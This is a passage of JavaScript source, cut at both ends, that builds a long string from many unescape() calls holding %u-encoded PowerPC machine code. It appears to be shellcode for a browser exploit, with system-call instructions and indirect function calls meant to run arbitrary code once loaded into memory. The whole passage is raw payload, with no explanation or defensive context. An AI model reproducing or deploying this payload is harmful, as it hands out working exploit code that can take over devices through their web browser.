unescape(\"%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020\");\n    str    += unescape(\"%u3c80%u4880%u6084%u0003%u9083%u0024%u3c60%ufff1%u6063%ud500%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud520%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u3080%u6063%u0012%u7c71%u8ba6%u3c60%u0080\");\n    str    += unescape(\"%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%ufff0%u6063%u697c%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u6a08%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0\");\n    str    += unescape(\"%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud600%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud61c\");\n    str    += unescape(\"%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud720%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6\");\n    str    += unescape(\"%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6\");\n    str    += unescape(\"%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c9f%u2378%u9001%u0014%u8124%u0018%u7d29%u03a6%u4e80%u0421%u813f%u001c%u807f%u0008%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u813f%u001c%u807f%u000c%u7d29%u03a6%u4e80%u0421%u815f%u0010%u3920%u0000%u912a%u01fc%u815f%u0014%u912a%u01ac%u813f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0020%u8001%u0014%u3880%u0004%u807f%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u80bf%u0004%u38c0%u1000%u83e1%u000c%u7c08%u03a6%u3821%u0010%u4e80%u0420%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6\");\n    str    += unescape(\"%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%ub3e4%u9001%u0034%u7fe9%u03a6%u38a5%u22dc%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22e3\");\n    str    += unescape(\"%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u22f5%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2304%u38c1%u0010%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2316%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u231f%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003\");\n    str    += unescape(\"%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1\");\n    str    += unescape(\"%u3961%u0030%u4800%u1da8%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub3e4%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u2327%u38c1%u0008\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028\");\n    str    += unescape(\"%u4800%u1d28%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%ub3e4%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u2339%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78\");\n    str    += unescape(\"%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3961%u0028%u4800%u1c9c%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub3e4%u9001%u0024%u7fe9%u03a6%u38a5%u234f%u38c1%u0010%u7c7e%u1b78%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u235c%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2372%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u1bc4%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c\");\n    str    += unescape(\"%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1\");\n    str    += unescape(\"%u37de%uffff%u40a2%uffc8%u3961%u0018%u4800%u1b58%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub3e4%u9001%u0024%u7fc9%u03a6%u38a5%u238a%u38c1%u0010%u7c7f%u1b78\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u2372%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2397%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000\");\n    str    += unescape(\"%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u23ab%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u1a40%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180\");\n    str    += unescape(\"%u6129%ub3e4%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u23c3%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78\");\n    str    += unescape(\"%u4bff%ufd4d%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19bc%u9421%uffd8%u7c08%u02a6\");\n    str    += unescape(\"%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%ub3e4%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u22e3%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u38a5%u23c9%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u23d8%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u23e7%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6\");\n    str    += unescape(\"%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000\");\n    str    += unescape(\"%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u187c%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c\");\n    str    += unescape(\"%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae\");\n    str    += unescape(\"%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78\");\n    str    += unescape(\"%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000\");\n    str    += unescape(\"%u409e%uffe0%u3d20%u0103%u3c60%u0180%u6129%u0ecc%u3863%u23fc%u7d29%u03a6%u4e80%u0421%u3860%u0000%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u1778%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78\");\n    str    += unescape(\"%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78\");\n    str    += unescape(\"%u4800%u1730%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500\");\n    str    += unescape(\"%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u16dc%u9421%ufe50%u7c08%u02a6%ubde1%u016c%u3fe0%u0102%u7c7d%u1b78%u63ff%u9cd8%u3c60%u0180%u9001%u01b4%u7fe9%u03a6%u3863%u240e%u3881%u0158\");\n    str    += unescape(\"%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0154%u3863%u2417%u3fe0%u0102%u63ff%ub3e4%u4e80%u0421%u8061%u0158%u4bff%uf795%u8061%u0158%u4bff%ufb25%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000\");\n    str    += unescape(\"%u38a5%u22dc%u38c1%u0150%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u241e%u38c1%u014c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22e3%u38c1%u0148\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u22f5%u38c1%u0144%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u234f%u38c1%u0140%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2425%u38c1%u013c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2437%u38c1%u0138%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158\");\n    str    += unescape(\"%u3880%u0000%u38a5%u23c9%u38c1%u0134%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23d8%u38c1%u0130%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2449\");\n    str    += unescape(\"%u38c1%u012c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u245d%u38c1%u0128%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u2470%u38c1%u0124%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u23e7%u38c1%u0120%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0158%u3880%u0000%u38a5%u247e%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0158%u3880%u0000%u38a5%u23c3%u38c1%u0118%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0154%u3880%u0000%u38a5%u2488%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u38a5%u249b%u38c1%u0110%u7fe9%u03a6\");\n    str    += unescape(\"%u8061%u0154%u3880%u0000%u4e80%u0421%u813d%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u813d%u0014%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u7c7e%u1b78\");\n    str    += unescape(\"%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u813d%u0014%u3880%u0008%u7c76%u1b78%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300\");\n    str    += unescape(\"%u3940%u0019%u8081%u0118%u3920%u0000%u7c7a%u1b78%u4e80%u0421%u813d%u0014%u7c7c%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0134%u8081%u0118%u38a0%u0000%u7d69%u03a6%u38c0%u0000\");\n    str    += unescape(\"%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u001c%u7c7b%u1b78%u4e80%u0421%u813d%u0014%u7c79%u1b78%u3880%u0008%u3860%u1000%u7d29%u03a6%u4e80%u0421%u2f9c%u0000%u7c78%u1b78%u419e%u000c%u2f99%u0000\");\n    str    += unescape(\"%u409e%u002c%u8061%u0158%u3c80%u0180%u3884%u24ad%u38a0%u0001%u4bff%uf7d9%u3c60%u2fff%u6063%uffff%u4bff%uf47d%u8061%u0158%u4bff%uf949%u8061%u0158%u3c80%u0180%u3884%u24d9%u38a0%u0001%u4bff%uf7b1\");\n    str    += unescape(\"%u3d20%u0102%u6129%ub3e4%u3ca0%u0180%u38c1%u010c%u7d29%u03a6%u8061%u0158%u3880%u0000%u38a5%u24ec%u3f80%u0180%u3b9c%u2200%u4e80%u0421%u8121%u010c%u7f84%ue378%u38a0%u002c%u3929%u0044%u3861%u0040\");\n    str    += unescape(\"%u9121%u010c%u4bff%ufae5%u80a1%u011c%u3880%u002c%u3861%u0040%u4bff%ufaf9%u389c%u002c%u7c79%u1b78%u3861%u00c0%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufad9%u389c%u0044%u7c74%u1b78\");\n    str    += unescape(\"%u3861%u00a8%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufab9%u389c%u005c%u7c70%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufa81%u80a1%u011c%u3880%u0038%u3861%u0008%u4bff%ufa95%u389c%u0094\");\n    str    += unescape(\"%u7c71%u1b78%u3861%u0090%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u011c%u4bff%ufa75%u393c%u00ac%u7c72%u1b78%u3861%u00fc%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa55%u393c%u00b8\");\n    str    += unescape(\"%u7c75%u1b78%u3861%u00f0%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u4bff%ufa35%u395c%u00c4%u7c6f%u1b78%u3861%u00e4%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u011c%u3b9c%u00d0%u4bff%ufa11\");\n    str    += unescape(\"%u3880%u000c%u7c73%u1b78%u3861%u00d8%u7cbc%u64aa%u7ca3%u65aa%u80a1%u011c%u4bff%uf9f5%u393f%u0080%u3940%u00a0%u913a%u000c%u915a%u007c%u3920%u0000%u3959%u000c%u38df%u01f8%u38bf%u0220%u913a%u0078\");\n    str    += unescape(\"%u90da%u0084%u391f%u0208%u915a%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452\");\n    str    += unescape(\"%u38bf%u021c%u80e1%u010c%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118%u90bf%u01dc%u3900%u0004%u38b9%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c77%u1b78%u929f%u0114%u911f%u011c\");\n    str    += unescape(\"%u929f%u0174%u911f%u017c%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c%u913f%u0214%u925f%u0124%u933f%u0154%u921f%u0164%u925f%u0184%u923f%u01b4%u933f%u01e4%u913f%u0218%u913f%u021c%u913f%u0224\");\n    str    += unescape(\"%u913f%u022c%u91ff%u0220%u92bf%u0228%u90db%u000c%u38c0%u0170%u90db%u007c%u38de%u01a8%u90db%u0084%u913b%u0078%u915b%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094\");\n    str    += unescape(\"%u6129%uc0de%u38fe%u0204%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8%u913e%u0204%u813d%u0014%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158\");\n    str    += unescape(\"%u911e%u018c%u915e%u01b8%u90de%u01ac%u929e%u0124%u90be%u01a4%u907e%u01c0%u3860%u0008%u921e%u0114%u925e%u0134%u923e%u0164%u933e%u0194%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6\");\n    str    += unescape(\"%u3884%u24f9%u7c7c%u1b78%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u014c%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u24fe%u7c74%u1b78%u4e80%u0421%u7f83%ue378\");\n    str    += unescape(\"%u3880%u0004%u38a0%u0000%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u3880%u0004%u7c7c%u1b78%u38a0%u0000%u7e83%ua378%u38c0%u0000%u7ea9%u03a6%u4e80%u0421%u7c69%ue379%u41a2%u0038%u8061%u0158%u3c80%u0180\");\n    str    += unescape(\"%u3884%u2503%u38a0%u0002%u4bff%uf425%u3c60%u2fff%u6063%uffff%u4bff%uf0c9%u8061%u0158%u8081%u0110%u4bff%uf619%u8061%u0158%u4bff%uf589%u8121%u0148%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u7c7c%u1b79%u40a2%u0038%u8061%u0158%u3c80%u0180%u3884%u253c%u38a0%u0002%u4bff%uf3d5%u3c60%u2fff%u6063%uffff%u4bff%uf079%u8061%u0158%u8081%u0110%u4bff%uf5c9%u8061%u0158%u4bff%uf539%u3d20%u0123\");\n    str    += unescape(\"%u7f83%ue378%u6129%u4567%u3880%u1000%u913c%u0000%u3d20%u4452%u6129%u5648%u913c%u0fb4%u3d20%u4158%u913c%u0fb8%u3920%u0008%u913c%u0ff4%u3d20%uffea%u6129%u95f0%u913c%u0ff8%u8121%u0140%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u013c%u7f83%ue378%u3880%u1000%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3920%u0000%u9923%u0007%u3c80%u0180%u8121%u014c%u38a0%u0007\");\n    str    += unescape(\"%u3884%u256c%u7c79%u1b78%u7d29%u03a6%u4e80%u0421%u813d%u0014%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0%u6129%u21f4%u3ca0%uc000%u9123%u0000%u3d20%ufff0%u6129%u2214%u3880%u0004\");\n    str    += unescape(\"%u60a5%u0004%u38c0%u0004%u9123%u0004%u7ee9%u03a6%u7c75%u1b78%u7e83%ua378%u4e80%u0421%u8121%u0130%u9281%u006c%u9121%u0088%u8121%u0124%u9381%u0070%u9121%u0084%u8121%u0128%u93e1%u007c%u7d29%u03a6\");\n    str    += unescape(\"%u93c1%u0080%u9341%u0074%u9361%u0078%u92e1%u008c%u8281%u012c%u8381%u0134%u4e80%u0421%u7e89%u03a6%u4e80%u0421%u3c80%u0180%u7c69%u1b78%u3884%u024c%u38a0%u0001%u38c1%u006c%u38f6%u0300%u3900%u0300\");\n    str    += unescape(\"%u3940%u001a%u7f89%u03a6%u7f03%uc378%u4e80%u0421%u8121%u0124%u7d29%u03a6%u4e80%u0421%u8121%u0130%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u8121%u0120%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u2f83%u0000\");\n    str    += unescape(\"%u409e%u0034%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u8121%u0124%u7d29%u03a6%u4e80%u0421%u4bff%uffbc%u3880%u0006%u7ea5%uab78%u38c0%u0008\");\n    str    += unescape(\"%u7ee9%u03a6%u7f23%ucb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7f23%ucb78%u9525%u0108%u3880%u0006%u38c0%u0004%u7e69%u03a6%u4e80%u0421%u8121%u0108%u6d2a%ufff0%u2f8a%u21f4%u419e%u0038%u8061%u0158\");\n    str    += unescape(\"%u3c80%u0180%u3884%u2573%u38a0%u0002%u4bff%uf1a1%u3c60%u2fff%u6063%uffff%u4bff%uee45%u8061%u0158%u8081%u0110%u4bff%uf395%u8061%u0158%u4bff%uf305%u3c60%uff20%u3e80%uff20%u6063%u000c%u3e60%u4452\");\n    str    += unescape(\"%u4bff%uf5b1%u3e40%u4452%u5463%u2036%u3b20%u0000%u3ee3%uff20%u3b80%u0000%u3af7%u0014%u6294%u0013%u6273%u5641%u6252%u5648%u7f97%ua040%u409d%u0048%u7ee3%ubb78%u4bff%uf57d%u7c75%u1b78%u4bff%uf575\");\n    str    += unescape(\"%u7f83%u9800%u419e%u0014%u7f83%u9000%u40be%u0010%u7eb9%uab78%u4800%u0008%u7ebc%uab78%u2f9c%u0000%u419e%u000c%u2f99%u0000%u409e%u0050%u3af7%ufff0%u4bff%uffb8%u2f9c%u0000%u419e%u000c%u2f99%u0000\");\n    str    += unescape(\"%u409e%u0038%u8061%u0158%u3c80%u0180%u3884%u259b%u38a0%u0002%u4bff%uf0d9%u3c60%u2fff%u6063%uffff%u4bff%ued7d%u8061%u0158%u8081%u0110%u4bff%uf2cd%u8061%u0158%u4bff%uf23d%u7f84%ue378%u3879%u0048\");\n    str    += unescape(\"%u4bff%uf545%u813d%u0018%u7f43%ud378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f03%uc378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fe3%ufb78%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u813d%u0018%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u813d%u0018%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3961%u01b0%u4800%u0bc8%u7c08%u02a6%u9421%uffc0%u3ca0%u0180%ubf61%u002c%u3fc0%u0102\");\n    str    += unescape(\"%u9001%u0044%u63de%ub3e4%u7c7f%u1b78%u7fc9%u03a6%u7c9c%u2378%u8063%u0004%u3880%u0000%u38a5%u3240%u38c1%u001c%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u324d%u38c1%u0018\");\n    str    += unescape(\"%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3265%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u3279%u38c1%u0010%u4e80%u0421%u3ca0%u0180\");\n    str    += unescape(\"%u7fc9%u03a6%u807f%u0004%u3880%u0000%u38a5%u328f%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u32a5%u38c1%u0008%u3880%u0000%u807f%u0004%u7fc9%u03a6%u4e80%u0421%u8121%u001c%u7d29%u03a6%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0018%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u3fbe%uf400%u4e80%u0421%u8121%u0014%u7c7b%u1b78%u3c80%uf400%u7d29%u03a6%u3860%u0000%u4e80%u0421\");\n    str    += unescape(\"%u8121%u0014%u7fa4%ueb78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3880%u0000%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u001c\");\n    str    += unescape(\"%u3c60%uf400%u7fc4%uf378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u7f64%udb78%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u8121%u0008%u3880%u0000%u38a0%u0000%u7f86%ue378%u7d29%u03a6%u3860%u0001%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u3860%u0001%u3880%u0000%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u3d20%u4000%u7d29%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u813f%u0024%u7d29%u03a6%u4e80%u0421%u3961%u0040%u4800%u09f8%u3d00%u01ff%u3ce3%u4000%u6108%uffff%u7f87%u4040%u409d%u002c\");\n    str    += 